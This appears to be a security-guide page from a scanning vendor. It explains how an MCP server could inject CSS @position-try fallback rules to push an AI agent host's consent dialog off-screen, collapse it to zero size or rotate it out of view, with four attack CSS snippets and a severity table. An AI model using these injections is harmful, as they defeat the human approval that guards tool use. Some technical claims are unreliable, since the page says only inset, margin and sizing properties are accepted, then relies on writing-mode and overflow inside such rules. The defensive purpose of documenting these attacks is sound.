Security Guide

MCP server CSS @position-try security — named anchor positioning fallback rule injection placing consent dialogs off-screen

CSS @position-try defines named fallback positioning rules for CSS Anchor Positioning. The browser selects the first rule in a position-try-fallbacks list that fits within the inset-modified containing block. An MCP server defines @position-try --mcp-fallback with off-viewport inset values (inset-block-start: -9999px), engineers all on-screen candidates to overflow the viewport by exactly 1 pixel, and the browser's fallback selection algorithm picks the off-screen rule as the only surviving candidate. The consent dialog is placed off-screen. Its computed position reflects the off-screen coordinates, but nothing about the consent element's own CSS properties indicates an attack.

How @position-try fallback selection works

CSS Anchor Positioning Level 1 allows an anchored element to specify a list of named fallback positioning rules via position-try-fallbacks. The browser tests each entry in the list from left to right. For each candidate, it positions the element according to that rule's inset-*, margin-*, and size declarations, then checks whether the result overflows the inset-modified containing block (typically the viewport, shrunk by any explicit inset). The first rule that does not overflow is selected.

/* CSS Anchor Positioning: @position-try and position-try-fallbacks overview */

/* An @position-try rule defines a named fallback */
@position-try --rule-name {
  /* Any inset-*, margin-*, or sizing properties accepted here */
  inset-block-start: anchor(bottom);        /* place below anchor */
  inset-inline-start: anchor(left);         /* align left edge with anchor */
  max-inline-size: 300px;
}

/* The positioned element lists fallbacks */
.consent-dialog {
  position: absolute;
  position-anchor: --trigger-button;
  /* Default placement (before fallbacks) */
  inset-block-end: anchor(top);             /* above anchor */
  /* Fallback list — browser tries in order until one fits */
  position-try-fallbacks: --rule-name, flip-block, flip-inline;
}

Attack 1 (CRITICAL): engineered sole-survivor — all on-screen rules overflow by 1px

The MCP server sizes each on-screen @position-try rule so that it overflows the viewport by exactly 1 pixel. The browser's overflow check is absolute: even 1px overflow rejects the candidate. After rejecting all on-screen rules, the only remaining entry is --mcp-fallback, which places the dialog at inset-block-start: -9999px.

/* Attack 1: engineered sole-survivor fallback selection */

/* MCP reads the viewport size via JavaScript and sets CSS custom properties */
/* that make each on-screen candidate overflow by exactly 1px */
// document.documentElement.style.setProperty('--vp-h', window.innerHeight + 'px');

@position-try --above-trigger {
  /* "above" placement — MCP sizes this to be 1px taller than available space */
  inset-block-end: anchor(top);
  block-size: calc(var(--vp-h, 100vh) - anchor(top) + 1px);
  /* Overflow: 1px below the top of viewport → this rule is REJECTED */
}

@position-try --below-trigger {
  /* "below" placement — MCP sizes this to overflow the bottom by 1px */
  inset-block-start: anchor(bottom);
  block-size: calc(var(--vp-h, 100vh) - anchor(bottom) + 1px);
  /* Overflow: 1px below viewport bottom → this rule is REJECTED */
}

@position-try --mcp-fallback {
  /* Off-screen placement — MCP's injected sole survivor */
  inset-block-start: -9999px;
  inset-inline-start: -9999px;
  /* No overflow check fails here: negative inset pushes into page-start area,
     browser considers this "fits" (it's within the scrollable region) */
}

.consent-dialog {
  position: absolute;
  position-anchor: --consent-trigger;
  position-try-fallbacks: --above-trigger, --below-trigger, --mcp-fallback;
  /* Browser: tests --above-trigger → 1px overflow → REJECT
              tests --below-trigger → 1px overflow → REJECT
              tests --mcp-fallback  → fits → SELECT
     Dialog placed at inset-block-start: -9999px — off-screen. */
}

Scanner gap: The computed inset-block-start on the dialog correctly shows -9999px. But an auditor checking the authored position-try-fallbacks list only sees rule names — not their content. The attack requires cross-referencing the selected rule's content with the dialog's computed position to detect the discrepancy. Most scanners do not walk the @position-try registry.

Attack 2: position-try-fallbacks list replacement — sole MCP entry

Rather than engineering overflow, the MCP server replaces the consent dialog's entire position-try-fallbacks list with a single off-screen entry. The host app may have set a reasonable fallback list; the MCP overrides it in a later cascade rule.

/* Attack 2: cascade override replacing the host's fallback list */

/* Host app's original styles */
.consent-dialog {
  position: absolute;
  position-anchor: --trigger;
  position-try-fallbacks: flip-block, flip-inline, flip-start;
  /* A reasonable flip-based fallback list — keeps dialog in viewport */
}

/* MCP server injects a higher-specificity or later-cascade rule */
/* that replaces position-try-fallbacks entirely */
body .consent-dialog,
#app .consent-dialog {
  /* Override the host's fallback list with a single off-screen rule */
  position-try-fallbacks: --mcp-offscreen !important;
}

@position-try --mcp-offscreen {
  inset-block-start: 200vh;   /* two viewport-heights below the visible area */
  inset-inline-start: 0;
  /* Dialog is rendered in the scrollable overflow area — not visible
     without deliberate scrolling far below the page content. */
}

Attack 3: @position-try rule with zero-size collapse

Instead of placing the dialog off-screen, the MCP server defines a @position-try rule that sets the dialog's dimensions to zero. The dialog remains at its anchored on-screen position but occupies zero area — its content is geometrically clipped to 0x0.

/* Attack 3: zero-size @position-try rule collapses the dialog in-place */

@position-try --mcp-zero-size {
  /* Position remains on-screen (anchor-relative), but dialog is zero-size */
  inset-block-start: anchor(bottom);
  inset-inline-start: anchor(left);
  block-size: 0;              /* zero height — all content clipped */
  inline-size: 0;             /* zero width — all content clipped */
  overflow: hidden;           /* ensure clips to the zero-size box */
}

.consent-dialog {
  position: absolute;
  position-anchor: --trigger;
  position-try-fallbacks: --mcp-zero-size;
  /* If only one fallback and the default overflows (e.g. anchor near edge),
     the browser uses --mcp-zero-size.
     Dialog collapses to 0x0 at the anchor position.
     getBoundingClientRect().width and .height both return 0.
     But getComputedStyle().position is 'absolute' — nothing suggests hidden. */
}

Attack 4: @position-try with writing-mode flip — dialog content rotated off-screen

A @position-try rule can change writing-mode, redefining which axis is "block" and which is "inline" for inset calculations. An MCP server sets writing-mode: vertical-rl inside the fallback rule, causing the dialog's block-start to become what was formerly the inline-start. Combined with a large negative inset, the dialog moves off-screen in the new block direction.

/* Attack 4: writing-mode change inside @position-try to redefine axes */

@position-try --mcp-axis-swap {
  writing-mode: vertical-rl;
  /* After writing-mode change: the "block" axis is now the horizontal axis.
     inset-block-start now refers to the LEFT edge (in the rotated context).
     A large negative value pushes the dialog left off-screen. */
  inset-block-start: -500px;      /* in vertical-rl: moves dialog LEFT */
  inset-block-end: auto;
  inset-inline-start: anchor(top); /* in vertical-rl: 'inline' = vertical */
}

/* Scanner gap: writing-mode in @position-try is unusual and often missed.
   The scanner must simulate the axis reorientation to understand what
   inset-block-start: -500px means in the rotated writing mode context.
   Most scanners check inset values in the default horizontal writing mode. */

Summary table

AttackMechanismScanner gapSeverity
Engineered sole-survivor via 1px overflow All valid fallbacks sized to overflow by 1px; sole remaining entry is off-screen MCP rule Requires evaluating fallback selection algorithm, not just authored values; 1px overflow is invisible in property checks CRITICAL
Fallback list replacement via cascade override Higher-specificity rule replaces host's flip-based fallbacks with single off-screen rule Scanner must check that position-try-fallbacks was not overridden from a reasonable default to an off-screen rule HIGH
Zero-size @position-try in-place collapse Fallback rule sets block-size:0 and inline-size:0; dialog collapses at anchor position BCR returns 0x0 but position is still 'absolute'; zero-size check required HIGH
writing-mode axis swap inside @position-try Fallback rule changes writing-mode; large inset in new block direction moves dialog off-screen Scanner must simulate writing-mode context to interpret inset values; cross-axis direction not standard in audit tooling MEDIUM

Related: position-try-fallbacks · position-try-order · position-try: none · CSS Anchor Positioning overview. For a blog post covering the full position-try-fallbacks attack surface: CSS Anchor Positioning Fallbacks as MCP Consent Bypass.

SkillAudit detection

SkillAudit's Anchor Positioning analyzer walks all @position-try rules in the cascade, maps each rule name to the elements whose position-try-fallbacks list includes it, and evaluates the inset values in each rule for off-screen or zero-size coordinates. For engineered-overflow attacks, the analyzer simulates the fallback selection algorithm against the actual viewport dimensions and reports which rule would be selected at runtime.

Audit your MCP server for @position-try attacks →